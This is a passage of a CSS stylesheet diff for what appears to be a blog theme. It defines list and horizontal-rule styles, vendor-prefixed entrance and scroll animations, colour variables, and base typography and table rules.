{ + position: absolute; + width: 100%; + height: 100%; + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transition: all 0.6s, filter 375ms ease-in 0.2s; + -moz-transition: all 0.6s, filter 375ms ease-in 0.2s; + -o-transition: all 0.6s, filter 375ms ease-in 0.2s; + -ms-transition: all 0.6s, filter 375ms ease-in 0.2s; + transition: all 0.6s, filter 375ms ease-in 0.2s; + object-fit: cover; +} +.list-beauty, +.category-lists ul { + list-style: none; +} +.list-beauty li, +.category-lists ul li { + position: relative; + padding: 0.12em 0.4em 0.12em 1.4em; +} +.list-beauty li:hover:before, +.category-lists ul li:hover:before { + border-color: var(--pseudo-hover); +} +.list-beauty li:before, +.category-lists ul li:before { + position: absolute; + top: 0.67em; + left: 0; + width: 0.43em; + height: 0.43em; + border: 0.215em solid #49b1f5; + border-radius: 0.43em; + background: transparent; + content: ''; + cursor: pointer; + -webkit-transition: all 0.3s ease-out; + -moz-transition: all 0.3s ease-out; + -o-transition: all 0.3s ease-out; + -ms-transition: all 0.3s ease-out; + transition: all 0.3s ease-out; +} +.custom-hr, +#article-container.post-content hr, +.search-dialog hr { + position: relative; + margin: 40px auto; + border: 2px dashed var(--hr-border); + width: calc(100% - 4px); +} +.custom-hr:hover:before, +#article-container.post-content hr:hover:before, +.search-dialog hr:hover:before { + left: calc(95% - 20px); +} +.custom-hr:before, +#article-container.post-content hr:before, +.search-dialog hr:before { + position: absolute; + top: -10px; + left: 5%; + z-index: 1; + color: var(--hr-before-color); + content: '\f0c4'; + font-size: 20px; + line-height: 1; + -webkit-transition: all 1s ease-in-out; + -moz-transition: all 1s ease-in-out; + -o-transition: all 1s ease-in-out; + -ms-transition: all 1s ease-in-out; + transition: all 1s ease-in-out; +} +#content-inner, +#footer { + -webkit-animation: bottom-top 1s; + -moz-animation: bottom-top 1s; + -o-animation: bottom-top 1s; + -ms-animation: bottom-top 1s; + animation: bottom-top 1s; +} +#page-header:not(.full_page) { + -webkit-animation: header-effect 1s; + -moz-animation: header-effect 1s; + -o-animation: header-effect 1s; + -ms-animation: header-effect 1s; + animation: header-effect 1s; +} +#site-title, +#site-subtitle { + -webkit-animation: titleScale 1s; + -moz-animation: titleScale 1s; + -o-animation: titleScale 1s; + -ms-animation: titleScale 1s; + animation: titleScale 1s; +} +#nav.show { + -webkit-animation: headerNoOpacity 1s; + -moz-animation: headerNoOpacity 1s; + -o-animation: headerNoOpacity 1s; + -ms-animation: headerNoOpacity 1s; + animation: headerNoOpacity 1s; +} +canvas:not(#ribbon-canvas), +#web_bg { + -webkit-animation: to_show 4s; + -moz-animation: to_show 4s; + -o-animation: to_show 4s; + -ms-animation: to_show 4s; + animation: to_show 4s; +} +#ribbon-canvas { + -webkit-animation: ribbon_to_show 4s; + -moz-animation: ribbon_to_show 4s; + -o-animation: ribbon_to_show 4s; + -ms-animation: ribbon_to_show 4s; + animation: ribbon_to_show 4s; +} +#sidebar-menus.open > :nth-child(1) { + -webkit-animation: sidebarItem 0.2s; + -moz-animation: sidebarItem 0.2s; + -o-animation: sidebarItem 0.2s; + -ms-animation: sidebarItem 0.2s; + animation: sidebarItem 0.2s; +} +#sidebar-menus.open > :nth-child(2) { + -webkit-animation: sidebarItem 0.4s; + -moz-animation: sidebarItem 0.4s; + -o-animation: sidebarItem 0.4s; + -ms-animation: sidebarItem 0.4s; + animation: sidebarItem 0.4s; +} +#sidebar-menus.open > :nth-child(3) { + -webkit-animation: sidebarItem 0.6s; + -moz-animation: sidebarItem 0.6s; + -o-animation: sidebarItem 0.6s; + -ms-animation: sidebarItem 0.6s; + animation: sidebarItem 0.6s; +} +#sidebar-menus.open > :nth-child(4) { + -webkit-animation: sidebarItem 0.8s; + -moz-animation: sidebarItem 0.8s; + -o-animation: sidebarItem 0.8s; + -ms-animation: sidebarItem 0.8s; + animation: sidebarItem 0.8s; +} +.scroll-down-effects { + -webkit-animation: scroll-down-effect 1.5s infinite; + -moz-animation: scroll-down-effect 1.5s infinite; + -o-animation: scroll-down-effect 1.5s infinite; + -ms-animation: scroll-down-effect 1.5s infinite; + animation: scroll-down-effect 1.5s infinite; +} +.reward-main { + -webkit-animation: donate_effcet 0.3s 0.1s ease both; + -moz-animation: donate_effcet 0.3s 0.1s ease both; + -o-animation: donate_effcet 0.3s 0.1s ease both; + -ms-animation: donate_effcet 0.3s 0.1s ease both; + animation: donate_effcet 0.3s 0.1s ease both; +} +@-moz-keyframes scroll-down-effect { + 0% { + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transform: translate(0, 0); + -moz-transform: translate(0, 0); + -o-transform: translate(0, 0); + -ms-transform: translate(0, 0); + transform: translate(0, 0); + } + 50% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translate(0, -16px); + -moz-transform: translate(0, -16px); + -o-transform: translate(0, -16px); + -ms-transform: translate(0, -16px); + transform: translate(0, -16px); + } + 100% { + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transform: translate(0, 0); + -moz-transform: translate(0, 0); + -o-transform: translate(0, 0); + -ms-transform: translate(0, 0); + transform: translate(0, 0); + } +} +@-webkit-keyframes scroll-down-effect { + 0% { + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transform: translate(0, 0); + -moz-transform: translate(0, 0); + -o-transform: translate(0, 0); + -ms-transform: translate(0, 0); + transform: translate(0, 0); + } + 50% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translate(0, -16px); + -moz-transform: translate(0, -16px); + -o-transform: translate(0, -16px); + -ms-transform: translate(0, -16px); + transform: translate(0, -16px); + } + 100% { + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transform: translate(0, 0); + -moz-transform: translate(0, 0); + -o-transform: translate(0, 0); + -ms-transform: translate(0, 0); + transform: translate(0, 0); + } +} +@-o-keyframes scroll-down-effect { + 0% { + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transform: translate(0, 0); + -moz-transform: translate(0, 0); + -o-transform: translate(0, 0); + -ms-transform: translate(0, 0); + transform: translate(0, 0); + } + 50% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translate(0, -16px); + -moz-transform: translate(0, -16px); + -o-transform: translate(0, -16px); + -ms-transform: translate(0, -16px); + transform: translate(0, -16px); + } + 100% { + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transform: translate(0, 0); + -moz-transform: translate(0, 0); + -o-transform: translate(0, 0); + -ms-transform: translate(0, 0); + transform: translate(0, 0); + } +} +@keyframes scroll-down-effect { + 0% { + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transform: translate(0, 0); + -moz-transform: translate(0, 0); + -o-transform: translate(0, 0); + -ms-transform: translate(0, 0); + transform: translate(0, 0); + } + 50% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translate(0, -16px); + -moz-transform: translate(0, -16px); + -o-transform: translate(0, -16px); + -ms-transform: translate(0, -16px); + transform: translate(0, -16px); + } + 100% { + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transform: translate(0, 0); + -moz-transform: translate(0, 0); + -o-transform: translate(0, 0); + -ms-transform: translate(0, 0); + transform: translate(0, 0); + } +} +@-moz-keyframes header-effect { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-webkit-keyframes header-effect { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-o-keyframes header-effect { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@keyframes header-effect { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-moz-keyframes headerNoOpacity { + 0% { + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-webkit-keyframes headerNoOpacity { + 0% { + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-o-keyframes headerNoOpacity { + 0% { + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@keyframes headerNoOpacity { + 0% { + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-moz-keyframes bottom-top { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(50px); + -moz-transform: translateY(50px); + -o-transform: translateY(50px); + -ms-transform: translateY(50px); + transform: translateY(50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-webkit-keyframes bottom-top { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(50px); + -moz-transform: translateY(50px); + -o-transform: translateY(50px); + -ms-transform: translateY(50px); + transform: translateY(50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-o-keyframes bottom-top { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(50px); + -moz-transform: translateY(50px); + -o-transform: translateY(50px); + -ms-transform: translateY(50px); + transform: translateY(50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@keyframes bottom-top { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(50px); + -moz-transform: translateY(50px); + -o-transform: translateY(50px); + -ms-transform: translateY(50px); + transform: translateY(50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-moz-keyframes titleScale { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-webkit-keyframes titleScale { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-o-keyframes titleScale { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@keyframes titleScale { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-moz-keyframes search_close { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@-webkit-keyframes search_close { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@-o-keyframes search_close { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@keyframes search_close { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@-moz-keyframes to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@-webkit-keyframes to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@-o-keyframes to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@keyframes to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@-moz-keyframes to_hide { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } +} +@-webkit-keyframes to_hide { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } +} +@-o-keyframes to_hide { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } +} +@keyframes to_hide { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } +} +@-moz-keyframes ribbon_to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@-webkit-keyframes ribbon_to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@-o-keyframes ribbon_to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@keyframes ribbon_to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@-moz-keyframes avatar_turn_around { + from { + -webkit-transform: rotate(0); + -moz-transform: rotate(0); + -o-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + } + to { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@-webkit-keyframes avatar_turn_around { + from { + -webkit-transform: rotate(0); + -moz-transform: rotate(0); + -o-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + } + to { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@-o-keyframes avatar_turn_around { + from { + -webkit-transform: rotate(0); + -moz-transform: rotate(0); + -o-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + } + to { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@keyframes avatar_turn_around { + from { + -webkit-transform: rotate(0); + -moz-transform: rotate(0); + -o-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + } + to { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@-moz-keyframes sub_menus { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(10px); + -moz-transform: translateY(10px); + -o-transform: translateY(10px); + -ms-transform: translateY(10px); + transform: translateY(10px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-webkit-keyframes sub_menus { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(10px); + -moz-transform: translateY(10px); + -o-transform: translateY(10px); + -ms-transform: translateY(10px); + transform: translateY(10px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-o-keyframes sub_menus { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(10px); + -moz-transform: translateY(10px); + -o-transform: translateY(10px); + -ms-transform: translateY(10px); + transform: translateY(10px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@keyframes sub_menus { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(10px); + -moz-transform: translateY(10px); + -o-transform: translateY(10px); + -ms-transform: translateY(10px); + transform: translateY(10px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-moz-keyframes donate_effcet { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-20px); + -moz-transform: translateY(-20px); + -o-transform: translateY(-20px); + -ms-transform: translateY(-20px); + transform: translateY(-20px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-webkit-keyframes donate_effcet { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-20px); + -moz-transform: translateY(-20px); + -o-transform: translateY(-20px); + -ms-transform: translateY(-20px); + transform: translateY(-20px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-o-keyframes donate_effcet { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-20px); + -moz-transform: translateY(-20px); + -o-transform: translateY(-20px); + -ms-transform: translateY(-20px); + transform: translateY(-20px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@keyframes donate_effcet { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-20px); + -moz-transform: translateY(-20px); + -o-transform: translateY(-20px); + -ms-transform: translateY(-20px); + transform: translateY(-20px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-moz-keyframes sidebarItem { + 0% { + -webkit-transform: translateX(200px); + -moz-transform: translateX(200px); + -o-transform: translateX(200px); + -ms-transform: translateX(200px); + transform: translateX(200px); + } + 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} +@-webkit-keyframes sidebarItem { + 0% { + -webkit-transform: translateX(200px); + -moz-transform: translateX(200px); + -o-transform: translateX(200px); + -ms-transform: translateX(200px); + transform: translateX(200px); + } + 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} +@-o-keyframes sidebarItem { + 0% { + -webkit-transform: translateX(200px); + -moz-transform: translateX(200px); + -o-transform: translateX(200px); + -ms-transform: translateX(200px); + transform: translateX(200px); + } + 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} +@keyframes sidebarItem { + 0% { + -webkit-transform: translateX(200px); + -moz-transform: translateX(200px); + -o-transform: translateX(200px); + -ms-transform: translateX(200px); + transform: translateX(200px); + } + 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} +:root { + --global-font-size: 14px; + --global-bg: #fff; + --font-color: #4c4948; + --hr-border: #a4d8fa; + --hr-before-color: #80c8f8; + --search-bg: #f6f8fa; + --search-input-color: #4c4948; + --search-a-color: #4c4948; + --preloader-bg: #37474f; + --preloader-color: #fff; + --tab-border-color: #f0f0f0; + --tab-botton-bg: #f0f0f0; + --tab-botton-color: #1f2d3d; + --tab-button-hover-bg: #dcdcdc; + --tab-button-active-bg: #fff; + --card-bg: #fff; + --sidebar-bg: #f6f8fa; + --btn-hover-color: #ff7242; + --btn-color: #fff; + --btn-bg: #49b1f5; + --text-bg-hover: rgba(73,177,245,0.7); + --light-grey: #eee; + --dark-grey: #cacaca; + --white: #fff; + --text-highlight-color: #1f2d3d; + --blockquote-color: #6a737d; + --blockquote-bg: rgba(73,177,245,0.1); + --reward-pop: #f5f5f5; + --toc-link-color: #666261; + --card-box-shadow: 0 3px 8px 6px rgba(7,17,27,0.05); + --card-hover-box-shadow: 0 3px 8px 6px rgba(7,17,27,0.09); + --pseudo-hover: #ff7242; + --headline-presudo: #a0a0a0; + --scrollbar-color: #49b1f5; + --default-bg-color: #49b1f5; + --zoom-bg: #fff; + --mark-bg: rgba(0,0,0,0.3); +} +body { + position: relative; + min-height: 100%; + background: var(--global-bg); + color: var(--font-color); + font-size: var(--global-font-size); + font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Helvetica Neue', Lato, Roboto, 'PingFang SC', 'Microsoft YaHei', sans-serif; + line-height: 2; + -webkit-tap-highlight-color: rgba(0,0,0,0); +} +*::-webkit-scrollbar { + width: 5px; + height: 5px; +} +*::-webkit-scrollbar-thumb { + background: var(--scrollbar-color); +} +*::-webkit-scrollbar-track { + background-color: transparent; +} +* { + scrollbar-width: thin; + scrollbar-color: var(--scrollbar-color) transparent; +} +input::placeholder { + color: var(--font-color); +} +#web_bg { + position: fixed; + z-index: -999; + width: 100%; + height: 100%; + background: #efefef; + background-attachment: local; + background-position: center; + background-size: cover; + background-repeat: no-repeat; +} +h1, +h2, +h3, +h4, +h5, +h6 { + position: relative; + margin: 20px 0 14px; + color: var(--text-highlight-color); + font-weight: bold; +} +h1 code, +h2 code, +h3 code, +h4 code, +h5 code, +h6 code { + font-size: inherit !important; +} +* { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +.table-wrap { + overflow-x: scroll; + margin: 0 0 20px; +} +table { + display: table; + width: 100%; + border-spacing: 0; + border-collapse: collapse; + empty-cells: show; +} +table thead { + background: rgba(153,169,191,0.1); +} +table th, +table td { + padding: 6px 12px; + border: 